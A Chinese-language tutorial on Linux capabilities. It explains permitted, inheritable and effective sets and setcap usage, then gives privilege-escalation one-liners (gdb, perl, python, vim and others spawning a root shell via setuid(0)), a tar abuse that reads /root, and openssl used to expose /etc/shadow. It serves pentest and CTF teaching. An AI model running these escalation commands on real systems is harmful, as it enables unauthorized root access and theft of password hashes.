Linux提权之:利用capabilities提权
Linux提权之:利用capabilities提权
1 背景
我们运行SUID的命令时,通常只是需要使用一小部分特权,但是使用SUID,却可以拥有root用户的全部权限。所以,一旦SUID的文件存在漏洞,便可能被利用,以root身份执行其他操作。
SUID的问题,主要在于权限控制太粗糙。为了对root身份进行更加精细的控制,Linux增加了另一种机制,即capabilities。
2 Capabilities机制
Capabilities机制,是在Linux内核2.2之后引入的。它将root用户的权限细分为不同的领域,可以分别启用或禁用。从而,在实际进行特权操作时,如果euid不是root,便会检查是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。
例如,下表列出了一些常见的特权操作及其对应的capability:
改变文件的所属者(chown()) | CAP_CHOWN |
---|---|
向进程发送信号(kill(), signal()) | CAP_KILL |
改变进程的uid(setuid(), setreuid(), setresuid()等) | CAP_SETUID |
trace进程(ptrace()) | CAP_SYS_PTRACE |
设置系统时间(settimeofday(), stime()等) | CAP_SYS_TIME |
Capabilities是细分到线程的,即每个线程可以有自己的capabilities。而完整的capabilities实现,除了对线程的capabilities具有以下相关功能:
- 进行特权操作时,检查该线程是否拥有该操作的capability
- 提供系统调用,用于获取或修改线程的capability
还应该包含对于文件的capabilities的支持,即:
- 文件系统支持文件附加属性,使得可执行文件具有一定的capabilities,从而在运行时确定其capabilities
注:
- 文件cap_setuid的capabilities和文件的suid标志位之间是没有关系的:
- 设置了cap_setuid的capability的文件并没有设置suid。
- 设置了suid的程序也不拥有cap_setuid的capability。
对于文件capabilities的支持,直到内核2.6.24之后才完成。
3 线程与文件的capabilities
3.1 线程的capabilities
每一个线程,具有3个capabilities的集合,每个集合中,可以包含零个或多个capabilities。
-
Permitted
这个集合定义了线程所能够拥有的特权的上限。换句话说,如果某个capability不在Permitted集合中,那么该线程便不能进行这个capability所对应的特权操作。Permitted集合是Inheritable和Effective集合的的超集。
-
Inheritable
- 当执行
exec()
系运行其他命令时,能够被新命令继承的capabilities,被包含在Inheritable集合中。
- 当执行
-
Effective
- 内核检查该线程是否可以进行特权操作时,检查的对象便是Effective集合。如之前所说,Permitted集合定义了上限。线程可以删除Effective集合中的某capability,随后在需要时,再从Permitted集合中恢复该capability,以此达到临时禁用capability的功能。
(Linux 4.3之后,增加了一种集合Ambient。详情可见相关manual)
3.2 文件的capabilities
文件的capabilities,是保存在文件的扩展属性中。修改这些扩展属性,需要具有CAP_SETFCAP
的capability。文件与线程的capabilities,共同决定了通过exec
运行该文件后的capabilities。
文件的capabilities功能,需要文件系统的支持。如果文件系统使用了nosuid
选项进行挂载,那么文件的capabilities将被忽略。
类似于线程的capabilities,文件的capabilities也包含了3个集合:
- Permitted
- 这个集合中包含的capabilities,在文件被执行时,被加入其Permitted集合。
- Inheritable
- 这个集合与线程的Inheritable集合的交集,是执行完
exec
后实际继承的capabilities。
- 这个集合与线程的Inheritable集合的交集,是执行完
- Effective
- 这仅仅是一个bit。如果设置开启,那么在运行
exec
后,Permitted集合中新增的capabilities会自动出现在Effective集合中;否则不会出现在Effective集合中。对于一些旧的可执行文件,由于其不会调用capabilities相关函数设置自身的Effective集合,所以可以将该可执行文件的Effective bit开启,从而将Permitted集合中的capabilities自动添加到Effective集合中。
- 这仅仅是一个bit。如果设置开启,那么在运行
3.3 运行exec
后capabilities的变化
上面介绍了线程和文件的capabilities,可能会觉得有些抽象难懂。下面将使用具体的计算公式,来说明执行exec
后capabilities是如何确定的。
我们使用P代表执行exec
前的capabilities,P’代表执行exec
后的capabilities,F代表exec
执行的文件的capabilities。那么:
P’(Permitted) = (P(Inheritable) & F(Inheritable)) | (F(Permitted) & cap_bset)
P’(Effective) = F(Effective) ? P’(Permitted) : 0
P’(Inheritable) = P(Inheritable)
其中的cap_bset是capability bounding set。通过与文件的Permitted集合计算交集,可进一步限制某些capabilities的获取,从而降低了风险。
而正如介绍文件的Effective bit时所说,文件可以将其Effective bit关闭。由此,在通过exec
执行该文件后,实际的Effective集合为空集。随后,在需要进行特权操作时,可再将Permitted集合中的capabilities加入Effective集合中。
4 Linux Capabilities管理
4.1 Linux系统管理Capabilities的工具
Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng。
- libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities,同时还提供了capsh来查看当前shell进程的capabilities。
- libcap-ng更易于使用,使用同一个命令filecap来查看和设置capabilities。
4.2 获取capabilities
系统调用capget(2)
和capset(2)
,可被用于获取和设置线程自身的capabilities。此外,也可以使用libcap中提供的接口cap_get_proc(3)
和cap_set_proc(3)
。当然,Permitted集合默认是不能增加新的capabilities的,除非CAP_SETPCAP在Effective集合中。
-
查看线程的capabilities
-
使用包
libcap
中的命令getpcaps <PID>
还可以通过
/proc/<PID>/task/<TID>/status
文件,三种集合分别对应于CapPrm, CapInh和CapEff。但这种的显示结果是数值,不适合人类阅读。
-
-
查看和设置文件的capabilities
- 类似的,如果要,可以使用命令
getcap
或者setcap
。
- 类似的,如果要,可以使用命令
4.3 设置capabilities
以wireshark为例
-
安装wireshark软件后,默认情况下,普通用户无法对网卡实施抓包操作。这是因为普通用户不具备相应的权限。
-
为
/usr/bin/dumpcap
文件授予抓包相关的capabilities┌──(kali㉿kali)-[~] └─$ sudo -i ┌──(root💀kali)-[~] └─# getcap /usr/bin/dumpcap ┌──(root💀kali)-[~] └─# setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap ┌──(root💀kali)-[~] └─# getcap /usr/bin/dumpcap /usr/bin/dumpcap cap_net_admin,cap_net_raw=eip
-
命令执行后重新启动wireshark,就可以抓包了。
-
删除文件的capabilities
setcap -r /usr/bin/dumpcap
ping为例
使用getcap
命令,我们可以看到ping
文件的capabilities:
# getcap /bin/ping
/bin/ping = cap_net_raw+ep
- 即该文件的capabilities,设置了Effective bit,而且Permitted集合中包含了CAP_NEW_RAW,从而可以发送raw packet。
5 利用Capability实现权限提升
5.1 查找设置了capabilities可执行文件
getcap -r / 2>/dev/null
5.2 gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
5.3 perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
5.4 php
php -r "posix_setuid(0); system('/bin/sh');"
5.5 python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
5.6 ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
5.7 rvim
rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
5.8 vim
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
5.9 tar
-
tar权限
norris@sirrom:~$ /sbin/getcap -r / 2>/dev/null /usr/bin/tar = cap_dac_read_search+ep
- cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查,利用此特性我们可以读取系统中的敏感信息。
-
绕过权限检查即可成功创建压缩文件
norris@sirrom:~$ tar -vcf root.tar /root tar: Removing leading `/' from member names /root/ /root/root.txt /root/.bashrc /root/.gnupg/ /root/.gnupg/private-keys-v1.d/ /root/.bash_history /root/.cache/ /root/.local/ /root/.local/share/ /root/.local/share/nano/ /root/.profile
-
解压缩
norris@sirrom:~$ ls -la root.tar -rw-r--r-- 1 norris norris 10240 Mar 19 08:44 root.tar norris@sirrom:~$ tar -xf root.tar norris@sirrom:~$ ls -la /root total 36 drwx------ 5 norris norris 4096 Oct 11 2019 . drwxr-xr-x 6 norris norris 4096 Mar 19 08:45 .. -r-------- 1 norris norris 672 Oct 11 2019 .bash_history -rw-r--r-- 1 norris norris 570 Jan 31 2010 .bashrc drwx------ 2 norris norris 4096 Oct 11 2019 .cache drwx------ 3 norris norris 4096 Oct 11 2019 .gnupg drwxr-xr-x 3 norris norris 4096 Oct 11 2019 .local -rw-r--r-- 1 norris norris 148 Aug 17 2015 .profile -rw------- 1 norris norris 33 Oct 11 2019 root.txt
-
读取root.txt文件
norris@sirrom:~$ cat /root/root.txt 8fc9376d961670ca10be270d52eda423
5.10 openssl
使用openssl读取/etc/shadow
文件。
setcap =ep /usr/bin/openssl
# 使用openssl生成证书
┌──(kali㉿kali)-[/]
└─$ openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes
# 进入系统根目录下
┌──(kali㉿kali)-[/]
└─$ cd /
# 启动web服务器,监听8080端口
┌──(kali㉿kali)-[/]
└─$ openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 8080 -HTTP
# 访问本机的web服务,读取/etc/shadow文件
┌──(kali㉿kali)-[~]
└─$ curl --http0.9 -k "https://127.0.0.1:8080/etc/shadow"
root:!:18681:0:99999:7:::
daemon:*:18681:0:99999:7:::
bin:*:18681:0:99999:7:::
sys:*:18681:0:99999:7:::
sync:*:18681:0:99999:7:::
2 参考链接
Linux的capabilities机制 - 记事本 (rk700.github.io)
c linux 获取cpuid_Linux系统利用可执行文件的Capability实现权限提升_Ningling Pan的博客-CSDN博客